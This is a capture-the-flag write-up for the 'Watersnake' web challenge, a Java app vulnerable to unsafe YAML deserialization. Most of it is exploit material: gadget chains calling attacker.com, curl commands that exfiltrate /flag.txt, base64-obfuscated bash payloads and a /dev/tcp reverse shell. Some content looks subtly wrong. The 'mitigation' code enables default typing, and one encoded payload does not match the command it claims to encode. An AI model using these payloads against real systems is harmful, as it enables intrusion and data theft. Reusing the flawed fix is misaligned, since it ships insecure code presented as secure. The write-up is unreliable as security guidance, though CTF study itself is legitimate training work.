2023 Business CTF: Web Watersnake

Challenge Information

AttributeDetails
Event2023 Business CTF
CategoryWeb
ChallengeWatersnake
DifficultyNot specified

Summary

Web Watersnake is a web exploitation challenge involving a Java application that performs unsafe deserialization of user-controlled YAML input. The application is vulnerable to arbitrary code execution through deserialization gadget chains, allowing attackers to instantiate arbitrary classes like GetWaterLevel which can execute system commands.


Challenge Information

The application appears to be a water level monitoring system (“Watersnake”) built in Java. It accepts serialized YAML input and deserializes it unsafely, leading to remote code execution vulnerabilities.


Analysis

Vulnerability Overview

Vulnerability 1: Unsafe YAML Deserialization

The application deserializes untrusted YAML input, likely using the Jackson or SnakeYAML library with @YAMLClassTag annotations enabled. This allows instantiation of arbitrary classes during deserialization.

Vulnerability 2: GetWaterLevel Class Exploitation

The notes reveal a GetWaterLevel class with dangerous functionality:

public class GetWaterLevel {
public GetWaterLevel(String value) {
initiateSensor(value);
}
private void initiateSensor(String value) {
readFromSensor(value);
}
public void readFromSensor(String command) {
// Executes system command from parameter
Runtime.getRuntime().exec(command);
}
}

When a GetWaterLevel object is created during deserialization, if an attacker controls the constructor parameter, arbitrary system commands can be executed.

Vulnerability 3: Multiple YAML Gadget Chains

Several exploitation paths are possible:

Path 1: ScriptEngineManager Gadget Chain

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker.com"]
]],
!!java.io.BufferedReader [
!!java.io.InputStreamReader [
!!java.io.FileInputStream ["/flag.txt"],
!!java.nio.charset.StandardCharsets ["UTF-8"]
]
]
]

Path 2: IOUtils Gadget Chain

!!org.apache.commons.io.IOUtils [
!!java.net.URL [
"http://attacker.com/?content=",
!!java.lang.String [
!!java.nio.file.Files readAllBytes:
!!java.nio.file.Paths get "/app/pom.xml"
]
]
]

Path 3: GetWaterLevel Direct Exploitation

!!com.lean.watersnake.GetWaterLevel [
"/bin/bash -c 'command_here'"
]

Solution

Step 1: Identify the Deserialization Endpoint

Find the endpoint that accepts YAML input:

Terminal window
curl -X POST http://target/ \
-H "Content-Type: application/yaml" \
-d "test: value"

Step 2: Test for Deserialization Vulnerability

Send a simple YAML object to verify deserialization:

!!java.lang.Integer ["123"]

If the application deserializes and responds, it’s vulnerable.

Step 3: Craft the Exploitation Payload

Create a payload to execute commands. Using the GetWaterLevel class:

Terminal window
# Craft the base payload
COMMAND="curl http://attacker.com?content=\$(cat /flag.txt)"
# Base64 encode it
ENCODED=$(echo -n "$COMMAND" | base64)
# Create YAML payload
PAYLOAD="!!com.lean.watersnake.GetWaterLevel [\"/bin/bash -c 'echo \\\"$ENCODED\\\" | base64 --decode | bash'\"]"

Step 4: Send the Payload

Terminal window
curl -X POST http://target/api/water-level \
-H "Content-Type: application/yaml" \
-d '!!com.lean.watersnake.GetWaterLevel ["/bin/bash -c '"'"'echo Y3VybCBodHRwOi8vYXR0YWNrZXIuY29tPWNvbnRlbnQ9JChjYXQgL2ZsYWcudHh0KQ== | base64 --decode | bash'"'"'"]'

Step 5: Exfiltrate Data

Using the crafted payload, exfiltrate sensitive data:

Terminal window
# Read /flag.txt and send to attacker server
curl 'http://target/api/endpoint' \
--data "!!com.lean.watersnake.GetWaterLevel [\"/bin/bash -c 'curl http://attacker.com/?flag=\$(cat /flag.txt)'\"]"

Step 6: Extract the Flag

Monitor the attacker server for incoming requests:

Terminal window
# Simple HTTP server to capture requests
python3 -m http.server 8000
# Or use netcat
nc -lvnp 8000

Check the request parameters for the flag content.


Advanced Exploitation Techniques

Technique 1: File Reading with ScriptEngineManager

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker.com"]
]],
!!java.io.BufferedReader [
!!java.io.InputStreamReader [
!!java.io.FileInputStream ["/flag.txt"],
!!java.nio.charset.StandardCharsets ["UTF-8"]
]
]
]

This gadget chain opens a file and reads it through the deserialization process.

Technique 2: Multi-Step Payload Execution

Terminal window
# Step 1: Base64 encode the command
echo -n 'cat /flag.txt' | base64
# Output: Y2F0IC9mbGFnLnR4dA==
# Step 2: Create YAML with base64 decoding
!!com.lean.watersnake.GetWaterLevel [
"/bin/bash -c 'echo Y2F0IC9mbGFnLnR4dA== | base64 --decode | bash'"
]

Technique 3: Reverse Shell Payload

Terminal window
# Create reverse shell command
REVSHELL="bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"
# Base64 encode
ENCODED=$(echo -n "$REVSHELL" | base64)
# Construct payload
PAYLOAD="!!com.lean.watersnake.GetWaterLevel [\"/bin/bash -c 'echo $ENCODED | base64 -d | bash'\"]"

Mitigation Strategies

Code Level

  1. Disable Unsafe Deserialization:
// Avoid default YAML deserialization
// Use safe alternatives like JSON with explicit class mapping
ObjectMapper mapper = new ObjectMapper();
mapper.activateDefaultTyping(
mapper.getPolymorphicTypeValidator(),
ObjectMapper.DefaultTyping.NON_FINAL,
JsonTypeInfo.As.WRAPPER_OBJECT
);
  1. Use Allowlists:
// Only deserialize known, safe classes
List<String> allowedClasses = Arrays.asList(
"com.application.SafeClass1",
"com.application.SafeClass2"
);
  1. Input Validation:
// Validate YAML structure before deserialization
if (!yaml.startsWith("!!com.application")) {
throw new SecurityException("Untrusted class");
}

Application Level

  • Use security manager to restrict what deserialized code can do
  • Run application with minimal privileges
  • Implement input sanitization
  • Use type-safe deserialization libraries

Key Takeaways

  • Deserialization Dangers: Never deserialize untrusted data
  • Gadget Chains: Be aware of dangerous library combinations
  • Runtime Execution: Classes like Runtime.exec() in constructors are dangerous
  • YAML vs JSON: JSON is safer; YAML has more dangerous features
  • Security Testing: Test for gadget chain vulnerabilities
  • Library Updates: Keep dependencies updated for security patches

Tools and Resources

  • ysoserial: Generate YAML gadget chains for exploitation
  • Jackson: Java JSON library (vulnerable in some configs)
  • SnakeYAML: Java YAML parser (vulnerable by default)
  • Burp Suite: Intercept and modify serialized data
  • ExceptionHandler: Analyze serialization errors for information

References